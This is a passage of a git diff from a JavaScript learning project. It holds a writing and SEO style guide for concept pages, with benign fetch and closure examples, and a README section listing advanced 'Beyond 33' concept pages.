"DOM: How Browsers Represent Web Pages in JavaScript" ← 🔴 Primary: "in JavaScript" at end +sidebarTitle: "DOM: How Browsers Represent Web Pages" ← Sidebar: no "JavaScript" +description: "Learn how the DOM works in JavaScript. Understand ← 🔴 Primary: "DOM works in JavaScript" +how browsers represent HTML as a tree, select and manipulate ← 🔴 Secondary: "manipulate elements" +elements, traverse nodes, and optimize rendering." +--- + +How does JavaScript change what you see on a webpage? ← Hook question +The **Document Object Model (DOM)** is a programming interface ← 🔴 Primary keyword in first paragraph +for web documents. It represents your HTML as a **tree of +objects** that JavaScript can read and manipulate. + +<Info> +**What you'll learn in this guide:** ← 🟠 Topic reinforcement +- What the DOM actually is +- How to select elements (getElementById vs querySelector) ← Secondary keywords +- How to traverse the DOM tree +- How to create, modify, and remove elements ← "DOM" implicit +- How browsers render the DOM (Critical Rendering Path) +</Info> + +## What is the DOM in JavaScript? ← 🟠 H2 with question keyword + +The DOM (Document Object Model) is... ← Natural repetition + +## How the DOM Works ← 🟠 H2 with "how" keyword + +## DOM Manipulation Methods ← 🟡 H3 with related keyword + +## Key Takeaways ← 🟡 Reinforce in summary +``` + +**Warning Signs of Keyword Stuffing:** +- Same exact phrase appears more than 3-4 times per 1000 words +- Sentences read awkwardly because keywords were forced in +- Using keywords where pronouns ("it", "they", "this") would be natural + +--- + +### Answering Search Intent + +Google ranks pages that **directly answer the user's query**. Structure your content to satisfy search intent immediately. + +**The First Paragraph Rule:** + +The first paragraph after any H2 should directly answer the implied question. Don't build up to the answer — lead with it. + +```mdx +<!-- ❌ BAD: Builds up to the answer --> +## What is the Event Loop? + +Before we can understand the event loop, we need to talk about JavaScript's +single-threaded nature. You see, JavaScript can only do one thing at a time, +and this creates some interesting challenges. The way JavaScript handles +this is through something called... the event loop. + +<!-- ✓ GOOD: Answers immediately --> +## What is the Event Loop? + +The **event loop** is JavaScript's mechanism for executing code, handling events, +and managing asynchronous operations. It continuously monitors the call stack +and task queue, moving queued callbacks to the stack when it's empty — this is +how JavaScript handles async code despite being single-threaded. +``` + +**Question-Format H2 Headings:** + +Use H2s that match how people search: + +| Search Query | H2 to Use | +|--------------|-----------| +| "what is the DOM" | `## What is the DOM?` | +| "how closures work" | `## How Do Closures Work?` | +| "why use promises" | `## Why Use Promises?` | +| "when to use async await" | `## When Should You Use async/await?` | + +--- + +### Featured Snippet Optimization + +Featured snippets appear at **position zero** — above all organic results. Structure your content to win them. + +**Snippet Types and How to Win Them:** + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ FEATURED SNIPPET TYPES │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ QUERY TYPE SNIPPET FORMAT YOUR CONTENT STRUCTURE │ +│ ─────────── ────────────── ───────────────────────── │ +│ │ +│ "What is X" Paragraph 40-60 word definition │ +│ immediately after H2 │ +│ │ +│ "How to X" Numbered list <Steps> component or │ +│ numbered Markdown list │ +│ │ +│ "X vs Y" Table Comparison table with │ +│ clear column headers │ +│ │ +│ "Types of X" Bulleted list Bullet list under │ +│ descriptive H2 │ +│ │ +│ "[X] examples" Bulleted list or Code examples with │ +│ code block brief explanations │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +**Pattern 1: Definition Snippet (40-60 words)** + +For "what is [concept]" queries: + +```mdx +## What is a Closure in JavaScript? + +A **closure** is a function that retains access to variables from its outer +(enclosing) scope, even after that outer function has finished executing. +Closures are created every time a function is created in JavaScript, allowing +inner functions to "remember" and access their lexical environment. +``` + +**Why this wins:** +- H2 matches search query exactly +- Bold keyword in first sentence +- 40-60 word complete definition +- Explains the "why" not just the "what" + +**Pattern 2: List Snippet (Steps)** + +For "how to [action]" queries: + +```mdx +## How to Make a Fetch Request in JavaScript + +<Steps> + <Step title="1. Call fetch() with the URL"> + The `fetch()` function takes a URL and returns a Promise that resolves to a Response object. + </Step> + + <Step title="2. Check if the response was successful"> + Always verify `response.ok` before processing — fetch doesn't throw on HTTP errors. + </Step> + + <Step title="3. Parse the response body"> + Use `response.json()` for JSON data, `response.text()` for plain text. + </Step> + + <Step title="4. Handle errors properly"> + Wrap everything in try/catch to handle both network and HTTP errors. + </Step> +</Steps> +``` + +**Pattern 3: Table Snippet (Comparison)** + +For "[X] vs [Y]" queries: + +```mdx +## == vs === in JavaScript + +| Aspect | `==` (Loose Equality) | `===` (Strict Equality) | +|--------|----------------------|------------------------| +| Type coercion | Yes — converts types before comparing | No — types must match | +| Speed | Slower (coercion overhead) | Faster (no coercion) | +| Predictability | Can produce surprising results | Always predictable | +| Recommendation | Avoid in most cases | Use by default | + +```javascript +// Examples +5 == "5" // true (string coerced to number) +5 === "5" // false (different types) +``` +``` + +**Pattern 4: List Snippet (Types/Categories)** + +For "types of [concept]" queries: + +```mdx +## Types of Scope in JavaScript + +JavaScript has three types of scope that determine where variables are accessible: + +- **Global Scope** — Variables declared outside any function or block; accessible everywhere +- **Function Scope** — Variables declared inside a function with `var`; accessible only within that function +- **Block Scope** — Variables declared with `let` or `const` inside `{}`; accessible only within that block +``` + +--- + +### Content Structure for SEO + +How you structure content affects both rankings and user experience. + +**The Inverted Pyramid:** + +Put the most important information first. Search engines and users both prefer content that answers questions immediately. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ THE INVERTED PYRAMID │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ │ +│ ┌─────────────────────────────────────┐ │ +│ │ ANSWER THE QUESTION │ ← First 100 words │ +│ │ Definition + Core Concept │ (most important) │ +│ └──────────────────┬──────────────────┘ │ +│ │ │ +│ ┌────────────────┴────────────────┐ │ +│ │ EXPLAIN HOW IT WORKS │ ← Next 300 words │ +│ │ Mechanism + Visual Diagram │ (supporting info) │ +│ └────────────────┬─────────────────┘ │ +│ │ │ +│ ┌──────────────────┴──────────────────┐ │ +│ │ SHOW PRACTICAL EXAMPLES │ ← Code examples │ +│ │ Code + Step-by-step │ (proof it works) │ +│ └──────────────────┬──────────────────┘ │ +│ │ │ +│ ┌──────────────────────┴──────────────────────┐ │ +│ │ COVER EDGE CASES │ ← Advanced │ +│ │ Common mistakes, gotchas │ (depth) │ +│ └──────────────────────┬──────────────────────┘ │ +│ │ │ +│ ┌──────────────────────────┴──────────────────────────┐ │ +│ │ ADDITIONAL RESOURCES │ ← External │ +│ │ Related concepts, articles, videos │ (links) │ +│ └──────────────────────────────────────────────────────┘ │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +**Scannable Content Patterns:** + +Google favors content that's easy to scan. Use these elements: + +| Element | SEO Benefit | When to Use | +|---------|-------------|-------------| +| Short paragraphs | Reduces bounce rate | Always (2-4 sentences max) | +| Bullet lists | Often become featured snippets | Lists of 3+ items | +| Numbered lists | "How to" snippet potential | Sequential steps | +| Tables | High snippet potential | Comparisons, reference data | +| Bold text | Highlights keywords for crawlers | First mention of key terms | +| Headings (H2/H3) | Structure signals to Google | Every major topic shift | + +**Content Length Guidelines:** + +| Length | Assessment | Action | +|--------|------------|--------| +| Under 1,000 words | Too thin | Add more depth, examples, edge cases | +| 1,000-1,500 words | Minimum viable | Acceptable for simple concepts | +| 1,500-2,500 words | Good | Standard for most concept pages | +| 2,500-4,000 words | Excellent | Ideal for comprehensive guides | +| Over 4,000 words | Evaluate | Consider splitting into multiple pages | + +**Note:** Length alone doesn't guarantee rankings. Every section must add value — don't pad content. + +--- + +### Internal Linking for SEO + +Internal links help search engines understand your site structure and distribute page authority. + +**Topic Cluster Strategy:** + +Think of concept pages as an interconnected network. Every concept should link to 3-5 related concepts: + +``` + ┌─────────────────┐ + ┌───────│ Promises │───────┐ + │ └────────┬────────┘ │ + │ │ │ + ▼ ▼ ▼ + ┌───────────┐ ┌───────────────┐ ┌─────────────┐ + │async/await│◄──►│ Event Loop │◄──►│ Callbacks │ + └───────────┘ └───────────────┘ └─────────────┘ + │ │ │ + │ ▼ │ + │ ┌───────────────┐ │ + └──────►│ Call Stack │◄───────┘ + └───────────────┘ +``` + +**Link Placement Guidelines:** + +1. **In Prerequisites (Warning box):** +```mdx +<Warning> +**Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) and the [Event Loop](/concepts/event-loop). Read those first if you're not comfortable with asynchronous JavaScript. +</Warning> +``` + +2. **In Body Content (natural context):** +```mdx +When the callback finishes, it's added to the task queue — which is managed by the [event loop](/concepts/event-loop). +``` + +3. **In Related Concepts Section:** +```mdx +<CardGroup cols={2}> + <Card title="Promises" icon="handshake" href="/concepts/promises"> + async/await is built on top of Promises + </Card> + <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> + How JavaScript manages async operations + </Card> +</CardGroup> +``` + +**Anchor Text Best Practices:** + +| ❌ Bad Anchor Text | ✓ Good Anchor Text | Why | +|-------------------|-------------------|-----| +| "click here" | "event loop guide" | Descriptive, includes keyword | +| "this article" | "our Promises concept" | Tells Google what page is about | +| "here" | "JavaScript closures" | Keywords in anchor text | +| "read more" | "understanding the call stack" | Natural, informative | + +--- + +### URL and Slug Best Practices + +URLs (slugs) are a minor but meaningful ranking factor. + +**Rules:** +1. **Use lowercase** — `closures` not `Closures` +2. **Use hyphens** — `call-stack` not `call_stack` or `callstack` +3. **Keep it short** — aim for 3-5 words maximum +4. **Include primary keyword** — the concept name +5. **Avoid stop words** — skip "the", "and", "in", "of" unless necessary + +**Slug Examples:** + +| Concept | ❌ Avoid | ✓ Use | +|---------|---------|-------| +| The Event Loop | `the-event-loop` | `event-loop` | +| this, call, apply and bind | `this-call-apply-and-bind` | `this-call-apply-bind` | +| Scope and Closures | `scope-and-closures` | `scope-and-closures` (acceptable) or `scope-closures` | +| DOM and Layout Trees | `dom-and-layout-trees` | `dom` or `dom-layout-trees` | + +**Note:** For this project, slugs are already set. When creating new pages, follow these conventions. + +--- + +### Opening Paragraph: The SEO Power Move + +The opening paragraph is prime SEO real estate. It should: +1. Hook the reader with a question they're asking +2. Include the primary keyword naturally +3. Provide a brief definition or answer +4. Set up what they'll learn + +**Template:** + +```mdx +[Question hook that matches search intent?] [Maybe another question?] + +The **[Primary Keyword]** is [brief definition that answers "what is X"]. +[One sentence explaining why it matters or what it enables]. + +```javascript +// Immediately show a simple example +``` + +[Brief transition to "What you'll learn" box] +``` + +**Example (Closures):** + +```mdx +Why do some functions seem to "remember" variables that should have disappeared? +How can a callback still access variables from a function that finished running +long ago? + +The answer is **closures** — one of JavaScript's most powerful (and often +misunderstood) features. A closure is a function that retains access to its +outer scope's variables, even after that outer scope has finished executing. + +```javascript +function createCounter() { + let count = 0 // This variable is "enclosed" by the returned function + return function() { + count++ + return count + } +} + +const counter = createCounter() +console.log(counter()) // 1 +console.log(counter()) // 2 — it remembers! +``` + +Understanding closures unlocks patterns like private variables, factory functions, +and the module pattern that power modern JavaScript. +``` + +**Why this works for SEO:** +- Question hooks match how people search ("why do functions remember") +- Bold keyword in first paragraph +- Direct definition answers "what is a closure" +- Code example demonstrates immediately +- Natural setup for learning objectives + +--- + +## Inline Linking Rules (Critical!) + +### Always Link to MDN + +Whenever you introduce a new Web API, method, object, or JavaScript concept, **link to MDN immediately**. This gives readers a path to deeper learning. + +```mdx +<!-- ✓ CORRECT: Link on first mention --> +The **[Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)** is JavaScript's modern way to make network requests. + +The **[Response](https://developer.mozilla.org/en-US/docs/Web/API/Response)** object contains everything about the server's reply. + +Most modern APIs return data in **[JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON)** format. + +<!-- ❌ WRONG: No links --> +The Fetch API is JavaScript's modern way to make network requests. +``` + +### Link to Related Concept Pages + +When mentioning concepts covered in other pages, link to them: + +```mdx +<!-- ✓ CORRECT: Internal links to related concepts --> +If you're not familiar with it, check out our [async/await concept](/concepts/async-await) first. + +This guide assumes you understand [Promises](/concepts/promises). + +<!-- ❌ WRONG: No internal links --> +If you're not familiar with async/await, you should learn that first. +``` + +### Common MDN Link Patterns + +| Concept | MDN URL Pattern | +|---------|-----------------| +| Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` | +| JavaScript Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` | +| HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` | +| HTTP Methods | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/{METHOD}` | +| HTTP Headers | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers` | + +--- + +## Code Examples Best Practices + +### 1. Start with the Simplest Possible Example + +```javascript +// ✓ GOOD: Start with the absolute basics +// This is how you fetch data in JavaScript +const response = await fetch('https://api.example.com/users/1') +const user = await response.json() +console.log(user.name) // "Alice" +``` + +### 2. Use Step-by-Step Comments + +```javascript +// Step 1: fetch() returns a Promise that resolves to a Response object +const responsePromise = fetch('https://api.example.com/users') + +// Step 2: When the response arrives, we get a Response object +responsePromise.then(response => { + console.log(response.status) // 200 + + // Step 3: The body is a stream, we need to parse it + return response.json() +}) +.then(data => { + // Step 4: Now we have the actual data + console.log(data) +}) +``` + +### 3. Show Output in Comments + +```javascript +const greeting = "Hello" +console.log(typeof greeting) // "string" + +const numbers = [1, 2, 3] +console.log(numbers.length) // 3 +``` + +### 4. Use ❌ and ✓ for Wrong/Correct Patterns + +```javascript +// ❌ WRONG - This misses HTTP errors! +try { + const response = await fetch('/api/users/999') + const data = await response.json() +} catch (error) { + // Only catches NETWORK errors, not 404s! +} + +// ✓ CORRECT - Check response.ok +try { + const response = await fetch('/api/users/999') + + if (!response.ok) { + throw new Error(`HTTP error! Status: ${response.status}`) + } + + const data = await response.json() +} catch (error) { + // Now catches both network AND HTTP errors +} +``` + +### 5. Use Meaningful Variable Names + +```javascript +// ❌ BAD +const x = [1, 2, 3] +const y = x.map(z => z * 2) + +// ✓ GOOD +const numbers = [1, 2, 3] +const doubled = numbers.map(num => num * 2) +``` + +### 6. Progress from Simple to Complex + +```javascript +// Level 1: Basic usage +fetch('/api/users') + +// Level 2: With options +fetch('/api/users', { + method: 'POST', + body: JSON.stringify({ name: 'Alice' }) +}) + +// Level 3: Full real-world pattern +async function createUser(userData) { + const response = await fetch('/api/users', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify(userData) + }) + + if (!response.ok) { + throw new Error(`Failed to create user: ${response.status}`) + } + + return response.json() +} +``` + +--- + +## Resource Curation Guidelines + +External resources (articles, videos) are valuable, but must meet quality standards. + +### Quality Standards + +Only include resources that are: + +1. **JavaScript-focused** — No resources primarily about other languages (C#, Python, Java, etc.), even if the concepts are similar +2. **Still accessible** — Verify all links work before publishing +3. **High quality** — From reputable sources (MDN, javascript.info, freeCodeCamp, well-known educators) +4. **Up to date** — Avoid outdated resources; check publication dates for time-sensitive topics +5. **Accurate** — Skim the content to verify it doesn't teach anti-patterns + +### Writing Resource Descriptions + +Each resource needs a **specific, engaging 2-sentence description** explaining what makes it unique. Generic descriptions waste the reader's time. + +```mdx +<!-- ❌ Generic (bad) --> +<Card title="JavaScript Promises Tutorial" icon="newspaper" href="..."> + Learn about Promises in JavaScript. +</Card> + +<!-- ❌ Generic (bad) --> +<Card title="Async/Await Explained" icon="newspaper" href="..."> + A comprehensive guide to async/await. +</Card> + +<!-- ✓ Specific (good) --> +<Card title="JavaScript Async/Await Tutorial" icon="newspaper" href="https://javascript.info/async-await"> + The go-to reference for async/await fundamentals. Includes exercises at the end to test your understanding of rewriting promise chains. +</Card> + +<!-- ✓ Specific (good) --> +<Card title="JavaScript Visualized: Promises & Async/Await" icon="newspaper" href="..."> + Animated GIFs showing the call stack, microtask queue, and event loop in action. This is how async/await finally "clicked" for thousands of developers. +</Card> + +<!-- ✓ Specific (good) --> +<Card title="How to Escape Async/Await Hell" icon="newspaper" href="..."> + The pizza-and-drinks ordering example makes parallel vs sequential execution crystal clear. Essential reading once you know the basics. +</Card> +``` + +**Description Formula:** +1. **Sentence 1:** What makes this resource unique OR what it specifically covers +2. **Sentence 2:** Why a reader should click (what they'll gain, who it's best for, what stands out) + +**Avoid in descriptions:** +- "Comprehensive guide to..." (vague) +- "Great tutorial on..." (vague) +- "Learn all about..." (vague) +- "Everything you need to know about..." (cliché) + +### Recommended Sources + +**Articles (Prioritize):** + +| Source | Why | +|--------|-----| +| javascript.info | Comprehensive, well-maintained, exercises included | +| MDN Web Docs | Official reference, always accurate | +| freeCodeCamp | Beginner-friendly, practical tutorials | +| dev.to (Lydia Hallie, etc.) | Visual explanations, community favorites | +| CSS-Tricks | DOM, browser APIs, visual topics | + +**Videos (Prioritize):** + +| Creator | Style | +|---------|-------| +| Web Dev Simplified | Clear, beginner-friendly, concise | +| Fireship | Fast-paced, modern, entertaining | +| Traversy Media | Comprehensive crash courses | +| Fun Fun Function | Deep-dives with personality | +| Wes Bos | Practical, real-world focused | + +**Avoid:** +- Resources in other programming languages (C#, Python, Java) even if concepts overlap +- Outdated tutorials (pre-ES6 syntax for modern concepts) +- Paywalled content (unless there's a free tier) +- Low-quality Medium articles (check engagement and accuracy) +- Resources that teach anti-patterns +- Videos over 2 hours (link to specific timestamps if valuable) + +### Verifying Resources + +Before including any resource: + +1. **Click the link** — Verify it loads and isn't behind a paywall +2. **Skim the content** — Ensure it's accurate and well-written +3. **Check the date** — For time-sensitive topics, prefer recent content +4. **Read comments/reactions** — Community feedback reveals quality issues +5. **Test code examples** — If they include code, verify it works + +--- + +## ASCII Art Diagrams + +Use ASCII art to visualize concepts. Make them boxed and labeled: + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ THE REQUEST-RESPONSE CYCLE │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ YOU (Browser) KITCHEN (Server) │ +│ ┌──────────┐ ┌──────────────┐ │ +│ │ │ ──── "I'd like pasta" ────► │ │ │ +│ │ :) │ (REQUEST) │ [chef] │ │ +│ │ │ │ │ │ +│ │ │ ◄──── Here you go! ──────── │ │ │ +│ │ │ (RESPONSE) │ │ │ +│ └──────────┘ └──────────────┘ │ +│ │ +│ The waiter (HTTP) is the protocol that makes this exchange work! │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## Mintlify Components Reference + +| Component | When to Use | +|-----------|-------------| +| `<Info>` | "What you'll learn" boxes, Key Takeaways | +| `<Warning>` | Common mistakes, gotchas, prerequisites | +| `<Tip>` | Pro tips, rules of thumb, best practices | +| `<Note>` | Additional context, side notes | +| `<AccordionGroup>` | Expandable content, Q&A sections, optional deep-dives | +| `<Tabs>` | Comparing different approaches side-by-side | +| `<Steps>` | Sequential processes, numbered workflows | +| `<CardGroup>` | Resource links (articles, videos, references) | +| `<Card>` | Individual resource with icon and link | + +### Card Icons Reference + +| Content Type | Icon | +|--------------|------| +| MDN/Official Docs | `book` | +| Articles/Blog Posts | `newspaper` | +| Videos | `video` | +| Courses | `graduation-cap` | +| Related Concepts | Context-appropriate (`handshake`, `hourglass`, `arrows-spin`, `sitemap`, etc.) | + +--- + +## Quality Checklist + +Before finalizing a concept page, verify ALL of these: + +### Structure +- [ ] Opens with engaging questions that hook the reader +- [ ] Shows a simple code example immediately after the opening +- [ ] Has "What you'll learn" Info box right after the opening +- [ ] Major sections are separated by `---` horizontal rules +- [ ] Has a real-world analogy with ASCII art diagram +- [ ] Has a "Common Mistakes" or "The #1 Mistake" section +- [ ] Has a "Key Takeaways" section summarizing 8-10 points +- [ ] Has a "Test Your Knowledge" section with 5-6 Q&As +- [ ] Ends with Related Concepts, Reference, Articles, Videos in that order + +### Linking +- [ ] All new Web APIs/methods have inline MDN links on first mention +- [ ] All related concepts link to their concept pages (`/concepts/slug`) +- [ ] Reference section has multiple MDN links +- [ ] 4-6 quality articles with descriptions +- [ ] 3-4 quality videos with descriptions + +### Code Examples +- [ ] First code example is dead simple +- [ ] Uses step-by-step comments for complex examples +- [ ] Shows output in comments (`// "result"`) +- [ ] Uses ❌ and ✓ for wrong/correct patterns +- [ ] Uses meaningful variable names +- [ ] Progresses from simple to complex + +### Content Quality +- [ ] Written for someone who might be new to coding +- [ ] Prerequisites are noted with Warning component +- [ ] No assumptions about prior knowledge without links +- [ ] Tables used for quick reference information +- [ ] ASCII diagrams for visual concepts + +### Language Quality +- [ ] Description starts with "Learn" or "Understand" (not "Master") +- [ ] No overuse of em dashes (fewer than 15 outside Key Takeaways and structured sections) +- [ ] No AI superlatives: "dramatically", "fundamentally", "incredibly", "extremely" +- [ ] No stiff phrases: "one of the most important", "essential points", "It should be noted" +- [ ] Emphasis patterns vary (not all "Key insight:" or "Best practice:") +- [ ] Playful touches are sparse (1-2 per major section maximum) +- [ ] No filler words: "basically", "essentially", "actually", "very", "really" +- [ ] Sentences are direct (no "In order to", "Due to the fact that") + +### Resource Quality +- [ ] All article/video links are verified working +- [ ] All resources are JavaScript-focused (no C#, Python, Java resources) +- [ ] Each resource has a specific 2-sentence description (not generic) +- [ ] Resource descriptions explain what makes each unique +- [ ] No outdated resources (check dates for time-sensitive topics) +- [ ] 4-6 articles from reputable sources +- [ ] 3-4 videos from quality creators + +--- + +## Writing Tests + +When adding code examples, create corresponding tests in `/tests/`: + +```javascript +// tests/{category}/{concept-name}/{concept-name}.test.js +import { describe, it, expect } from 'vitest' + +describe('Concept Name', () => { + describe('Basic Examples', () => { + it('should demonstrate the core concept', () => { + // Convert console.log examples to expect assertions + expect(typeof "hello").toBe("string") + }) + }) + + describe('Common Mistakes', () => { + it('should show the wrong behavior', () => { + // Test the "wrong" example to prove it's actually wrong + }) + + it('should show the correct behavior', () => { + // Test the "correct" example + }) + }) +}) +``` + +--- + +## SEO Checklist + +Verify these elements before publishing any concept page: + +### Title & Meta Description +- [ ] **Title is 50-60 characters** — check with character counter +- [ ] **Title ends with "in JavaScript"** — SEO keyword at end +- [ ] **Title has a compelling hook** — tells reader what they'll understand +- [ ] **sidebarTitle matches title but without "in JavaScript"** — cleaner navigation +- [ ] **Description is 150-160 characters** — don't leave value on the table +- [ ] **Description includes primary keyword** in first sentence +- [ ] **Description includes 1-2 secondary keywords** naturally +- [ ] **Description starts with action word** (Learn, Understand, Discover — avoid "Master") +- [ ] **Description promises specific value** — what will they learn? + +### Keyword Placement +- [ ] **Primary keyword in title** +- [ ] **Primary keyword in description** +- [ ] **Primary keyword in first paragraph** (within first 100 words) +- [ ] **Primary keyword in at least one H2 heading** +- [ ] **Secondary keywords in H2/H3 headings** where natural +- [ ] **Keywords in "What you'll learn" box items** +- [ ] **No keyword stuffing** — content reads naturally + +### Content Structure +- [ ] **Opens with question hook** matching search intent +- [ ] **Shows code example in first 200 words** +- [ ] **First paragraph after H2s directly answers** the implied question +- [ ] **Content is 1,500+ words** (comprehensive coverage) +- [ ] **Short paragraphs** (2-4 sentences maximum) +- [ ] **Uses bullet lists** for 3+ related items +- [ ] **Uses numbered lists** for sequential processes +- [ ] **Uses tables** for comparisons and reference data +- [ ] **Key terms bolded** on first mention with MDN links + +### Featured Snippet Optimization +- [ ] **"What is X" section has 40-60 word definition paragraph** +- [ ] **"How to" sections use numbered steps or `<Steps>` component** +- [ ] **Comparison sections use tables** with clear headers +- [ ] **At least one H2 is phrased as a question** matching search query + +### Internal Linking +- [ ] **Links to 3-5 related concept pages** in body content +- [ ] **Uses descriptive anchor text** (not "click here" or "here") +- [ ] **Prerequisites linked in Warning component** at start +- [ ] **Related Concepts section has 4 cards** with relevant concepts +- [ ] **Links appear in natural context** — not forced + +### Technical SEO +- [ ] **Slug is lowercase with hyphens** +- [ ] **Slug contains primary keyword** +- [ ] **Slug is 3-5 words maximum** +- [ ] **All external links use proper URLs** (no broken links) +- [ ] **MDN links are current** (check they resolve) diff --git a/README.md b/README.md index 95541bbc..f1b53cca 100644 --- a/README.md +++ b/README.md @@ -145,6 +145,117 @@ This repository helps developers master core JavaScript concepts. Each concept i --- +## Beyond 33: Extended Concepts + +Ready to go deeper? These advanced topics build on the fundamentals above. + +### Language Mechanics + +- **[Hoisting](https://33jsconcepts.com/concepts/hoisting)** + Learn how JavaScript hoists variable and function declarations. Understand why `var` behaves differently from `let` and `const`, function hoisting order, and how to avoid common bugs. + +- **[Temporal Dead Zone](https://33jsconcepts.com/concepts/temporal-dead-zone)** + Learn the Temporal Dead Zone (TDZ) in JavaScript. Understand why accessing `let` and `const` before declaration throws errors, and how TDZ differs from `var` hoisting. + +- **[Strict Mode](https://33jsconcepts.com/concepts/strict-mode)** + Learn JavaScript strict mode and how `'use strict'` catches common mistakes. Understand silent errors it prevents, forbidden syntax, and when to use it. + +### Type System + +- **[JavaScript Type Nuances](https://33jsconcepts.com/concepts/javascript-type-nuances)** + Learn advanced JavaScript type behavior. Understand null vs undefined, short-circuit evaluation, typeof quirks, instanceof and Symbol.hasInstance, Symbols, and BigInt for large numbers. + +### Objects & Properties + +- **[Property Descriptors](https://33jsconcepts.com/concepts/property-descriptors)** + Learn JavaScript property descriptors. Understand writable, enumerable, and configurable attributes, Object.defineProperty(), and how to create immutable object properties. + +- **[Getters & Setters](https://33jsconcepts.com/concepts/getters-setters)** + Learn JavaScript getters and setters. Understand how to define computed properties with `get` and `set`, validate data on assignment, and create reactive object behavior. + +- **[Object Methods](https://33jsconcepts.com/concepts/object-methods)** + Learn essential JavaScript Object methods. Master Object.keys(), Object.values(), Object.entries(), Object.fromEntries(), Object.freeze(), Object.seal(), and object cloning patterns. + +- **[Proxy & Reflect](https://33jsconcepts.com/concepts/proxy-reflect)** + Learn JavaScript Proxy and Reflect APIs. Understand how to intercept object operations, create reactive systems, implement validation, and build powerful metaprogramming patterns. + +- **[WeakMap & WeakSet](https://33jsconcepts.com/concepts/weakmap-weakset)** + Learn JavaScript WeakMap and WeakSet. Understand weak references, automatic garbage collection, private data patterns, and when to use them over Map and Set. + +### Memory & Performance + +- **[Memory Management](https://33jsconcepts.com/concepts/memory-management)** + Learn JavaScript memory management. Understand the memory lifecycle, stack vs heap allocation, memory leaks, and how to profile memory usage in DevTools. + +- **[Garbage Collection](https://33jsconcepts.com/concepts/garbage-collection)** + Learn how JavaScript garbage collection works. Understand mark-and-sweep, reference counting, generational GC, and how to write memory-efficient code. + +- **[Debouncing & Throttling](https://33jsconcepts.com/concepts/debouncing-throttling)** + Learn debouncing and throttling in JavaScript. Understand how to optimize event handlers, reduce API calls, improve scroll performance, and implement both patterns from scratch. + +- **[Memoization](https://33jsconcepts.com/concepts/memoization)** + Learn memoization in JavaScript. Understand how to cache function results, optimize expensive computations, implement memoization patterns, and when caching hurts performance. + +### Modern Syntax & Operators + +- **[Tagged Template Literals](https://33jsconcepts.com/concepts/tagged-template-literals)** + Learn JavaScript tagged template literals. Understand how to create custom string processing functions, build DSLs, sanitize HTML, and use popular libraries like styled-components. + +- **[Computed Property Names](https://33jsconcepts.com/concepts/computed-property-names)** + Learn JavaScript computed property names. Understand how to use dynamic keys in object literals, create objects from variables, and leverage Symbol keys. + +### Browser Storage + +- **[localStorage & sessionStorage](https://33jsconcepts.com/concepts/localstorage-sessionstorage)** + Learn Web Storage APIs in JavaScript. Understand localStorage vs sessionStorage, storage limits, JSON serialization, storage events, and security considerations. + +- **[IndexedDB](https://33jsconcepts.com/concepts/indexeddb)** + Learn IndexedDB for client-side storage in JavaScript. Understand how to store large amounts of structured data, create indexes, perform transactions, and handle versioning. + +- **[Cookies](https://33jsconcepts.com/concepts/cookies)** + Learn JavaScript cookies. Understand how to read, write, and delete cookies, cookie attributes like HttpOnly and SameSite, security best practices, and when to use cookies vs Web Storage. + +### Events + +- **[Event Bubbling & Capturing](https://33jsconcepts.com/concepts/event-bubbling-capturing)** + Learn JavaScript event bubbling and capturing. Understand the three phases of event propagation, stopPropagation(), event flow direction, and when to use each phase. + +- **[Event Delegation](https://33jsconcepts.com/concepts/event-delegation)** + Learn event delegation in JavaScript. Understand how to handle events efficiently using bubbling, manage dynamic elements, reduce memory usage, and implement common delegation patterns. + +- **[Custom Events](https://33jsconcepts.com/concepts/custom-events)** + Learn JavaScript custom events. Understand how to create, dispatch, and listen for CustomEvent, pass data between components, and build decoupled event-driven architectures. + +### Observer APIs + +- **[Intersection Observer](https://33jsconcepts.com/concepts/intersection-observer)** + Learn the Intersection Observer API. Understand how to detect element visibility, implement lazy loading, infinite scroll, and animate elements on scroll efficiently. + +- **[Mutation Observer](https://33jsconcepts.com/concepts/mutation-observer)** + Learn the Mutation Observer API. Understand how to watch DOM changes, detect attribute modifications, observe child elements, and replace deprecated mutation events. + +- **[Resize Observer](https://33jsconcepts.com/concepts/resize-observer)** + Learn the Resize Observer API. Understand how to respond to element size changes, build responsive components, and replace inefficient window resize listeners. + +- **[Performance Observer](https://33jsconcepts.com/concepts/performance-observer)** + Learn the Performance Observer API. Understand how to measure page performance, track Long Tasks, monitor layout shifts, and collect Core Web Vitals metrics. + +### Data Handling + +- **[JSON Deep Dive](https://33jsconcepts.com/concepts/json-deep-dive)** + Learn advanced JSON in JavaScript. Understand JSON.stringify() replacers, JSON.parse() revivers, handling circular references, BigInt serialization, and custom toJSON methods. + +- **[Typed Arrays & ArrayBuffers](https://33jsconcepts.com/concepts/typed-arrays-arraybuffers)** + Learn JavaScript Typed Arrays and ArrayBuffers. Understand binary data handling, DataView, working with WebGL, file processing, and network protocol implementation. + +- **[Blob & File API](https://33jsconcepts.com/concepts/blob-file-api)** + Learn JavaScript Blob and File APIs. Understand how to create, read, and manipulate binary data, handle file uploads, generate downloads, and work with FileReader. + +- **[requestAnimationFrame](https://33jsconcepts.com/concepts/requestanimationframe)** + Learn requestAnimationFrame in JavaScript. Understand how to create smooth 60fps animations, sync with browser repaint cycles, and optimize animation performance. + +--- + ## Translations This project has been translated into 40+ languages by our amazing community! diff --git a/docs/beyond/concepts/blob-file-api.mdx b/docs/beyond/concepts/blob-file-api.mdx new file mode 